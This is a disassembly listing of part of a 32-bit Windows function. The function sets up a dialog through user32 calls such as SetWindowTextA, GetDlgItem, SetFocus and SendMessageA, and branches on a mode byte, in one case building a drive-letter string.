jne 0x4937a3
mov ax, 0x2a6
call fcn.004aa600
mov edx, eax
mov eax, dword [0x4bedb0]
call fcn.004b81b0
mov eax, dword [0x4bedb0]
mov dl, 0x26
call fcn.004aec2c
mov eax, dword [0x4bedb0]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov ecx, dword [0x4bedb0]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
push 0x457
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov dword [ebp + 0x50], eax
mov edi, 0xa
mov esi, dword [0x4be71c]
mov eax, dword [ebp + 0x50]
mov edx, dword [esi]
call fcn.00486854
add esi, 4
dec edi
jne 0x493767
mov eax, dword [0x4be784]
cmp byte [eax + 0x188e], 0
je 0x4937a3
mov eax, dword [0x4be784]
movzx eax, byte [eax + 0x188e]
mov edx, dword [0x4be71c]
mov edx, dword [edx + eax*4 - 4]
mov eax, dword [ebp + 0x50]
call fcn.004868c0
cmp byte [ebp + 0x54], 0x4f
jne 0x493887
mov eax, dword [0x4beaac]
movzx eax, byte [eax]
mov edx, dword [0x4be71c]
mov eax, dword [edx + eax*4 - 4]
push eax
mov eax, dword [ebp]
push eax
call sub.user32.dll_SetWindowTextA
mov eax, ebp
xor ecx, ecx
mov dx, 1
call fcn.004949d8
mov eax, ebp
xor ecx, ecx
mov dx, 3
call fcn.004949d8
mov ax, 6
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 2
call fcn.00488934
mov ecx, dword [0x4beb38]
mov eax, ebp
mov dx, 0xcf
call fcn.00488934
mov eax, dword [0x4beaac]
mov al, byte [eax]
push eax
mov eax, dword [0x4be820]
push eax
mov eax, ebp
mov cx, 0x30a
xor edx, edx
call fcn.0048e690
push 2
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov edx, dword [0x4be6b0]
mov dword [edx], eax
push 0x30a
mov eax, dword [ebp]
push eax
call sub.user32.dll_GetDlgItem
mov edx, dword [0x4be6b0]
mov dword [edx], eax
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
push eax
call sub.user32.dll_SetFocus
push 0
push 1
push 0xcf
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
push eax
call sub.user32.dll_SendMessageA
push 0xffffffffffffffff
push 0
push 0xb1
mov eax, dword [0x4be6b0]
mov eax, dword [eax]
push eax
call sub.user32.dll_SendMessageA
mov eax, 4
call fcn.00403010
dec eax
cmp byte [ebp + 0x54], 9
je 0x4938b4
cmp byte [ebp + 0x54], 0xa
je 0x4938b4
cmp byte [ebp + 0x54], 0xb
je 0x4938b4
cmp byte [ebp + 0x54], 0xc
je 0x4938b4
cmp byte [ebp + 0x54], 0xd
jne 0x493b0e
cmp byte [ebp + 0x54], 9
jne 0x4939f2
xor edx, edx
mov eax, 0x26
call fcn.004862ec
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
fild qword [eax + 0x14c]
fcomp dword [0x4948f8]
fnstsw ax
sahf
setne al
mov byte [esp + 0x38], al
mov eax, dword [0x4be6b0]
xor edx, edx
mov dword [eax], edx
mov ebx, dword [0x4be4ec]
movsx ebx, word [ebx]
test ebx, ebx
jle 0x493969
mov esi, dword [0x4be754]
cmp dword [esi], 0
je 0x493963
mov eax, dword [esi]
cmp byte [eax + 0x442], 0
jne 0x493963
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
cmp dword [eax + 0x5c], 0
jne 0x493963
add esi, 4
dec ebx
jne 0x49390d
mov eax, dword [0x4bec74]
cmp dword [eax], 1
jle 0x4939dc
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
cmp byte [eax + 0x442], 0
jne 0x4939dc
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
mov eax, dword [eax + 0xc]
cmp dword [eax + 0x5c], 0
jne 0x4939dc
mov ax, 0x27d
call fcn.004aa600
mov ecx, eax
mov eax, ebp
mov dx, 0x64
call fcn.00488934
cmp byte [ebp + 0x54], 0xa
jne 0x493a41
mov eax, dword [0x4bec7c]
mov eax, dword [eax]
mov edx, dword [0x4be754]
mov eax, dword [edx + eax*4 - 4]
movsx eax, byte [eax + 0x442]
add eax, 0x40
mov edx, dword [0x4beb38]
mov byte [edx], al
mov eax, dword [0x4beb38]
mov byte [eax + 1], 0x3a
mov eax, dword [0x4beb38]
mov byte [eax + 2], 0
mov ax, 0x1f8
call fcn.004aa600
mov edx, dword [0x4beb38]
call fcn.004ae1b0
cmp byte [ebp + 0x54], 0xb
jne 0x493a53
xor edx, edx
mov eax, 9
call fcn.004862ec
cmp byte [ebp + 0x54], 0xc
jne 0x493a65
xor edx, edx
mov eax, 0x99
call fcn.004862ec
cmp byte [ebp + 0x54], 0xd
jne 0x493a77
cmp byte [ebp + 0x54], 0x18
je 0x493b1e
mov al, byte [esp + 4]
add esp, 0x198
pop ebp
pop edi
pop esi
pop ebx
ret